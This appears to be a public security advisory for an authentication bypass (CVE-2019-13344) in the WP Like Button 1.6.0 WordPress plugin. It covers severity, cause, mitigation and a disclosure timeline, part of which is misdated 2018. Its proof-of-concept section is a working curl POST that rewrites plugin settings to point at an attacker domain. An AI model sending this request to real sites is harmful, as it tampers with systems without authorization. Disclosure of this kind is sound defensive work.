WordPress Like Button 1.6.0 Authentication Bypass

2019.07.08
Credit: Benjamin Lim
Risk: Low
Local: No
Remote: Yes
CWE: CWE-287


CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

Exploit Title: WP Like Button 1.6.0 - Auth Bypass Date: 05-Jul-19 Exploit Author: Benjamin Lim Vendor Homepage: http://www.crudlab.com Software Link: https://wordpress.org/plugins/wp-like-button/ Version: 1.6.0 CVE : CVE-2019-13344 1. Product & Service Introduction: WP Like button allows you to add Facebook like button on your wordpress blog. You can also add Share button along with Like button or can add recommend button. As of now, the plugin has been downloaded 129,089 times and has 10,000+ active installs. 2. Technical Details & Description: Authentication Bypass vulnerability in the WP Like Button (Free) plugin version 1.6.0 allows unauthenticated attackers to change the settings of the plugin. The contains() function in wp_like_button.php did not check if the current request is made by an authorized user, thus allowing any unauthenticated user to successfully update the settings of the plugin. 3. Proof of Concept (PoC): For example, the curl command below allows an attacker to change the each_page_url parameter to https://hijack.com. This allows the attacker to hijack Facebook likes. curl -k -i --raw -X POST -d "page=facebook-like-button&site_url=https%%3A%%2F%%2Flocalhost%%2Fwp&display[]=1&display[]=2&display[]=4&display[]=16&mobile=1&fb_app_id=&fb_app_admin=&kd=0&fblb_default_upload_image=&code_snippet=%%3C%%3Fphp+echo+fb_like_button()%%3B+%%3F%%3E&beforeafter=before&eachpage=url&each_page_url= https://hijack.com&language=en_US&width=65&position=center&layout=box_count&action=like&color=light&btn_size=small&faces=1&share=1&update_fblb=" "https://localhost/wp/wp-admin/admin.php?page=facebook-like-button&edit=1" -H "Content-Type: application/x-www-form-urlencoded" 4. Mitigation No update has been released by the vendor. Users are advised to switch to a different plugin. 5. Disclosure Timeline 2019/06/24 Vendor contacted regarding vulnerability in v1.5.0 (crudlab@gmail.com) 2019/06/30 Second email sent to vendor (crudlab@gmail.com) 2019/07/02 Vendor released v1.6.0 update. Vulnerability still exists. Vendor did not acknowledge any emails. 2018/07/03 Third email sent to vendor's billing email domain (info@purelogics.net) 2018/07/05 Public disclosure 6. Credits & Authors: Benjamin Lim - [https://limbenjamin.com]


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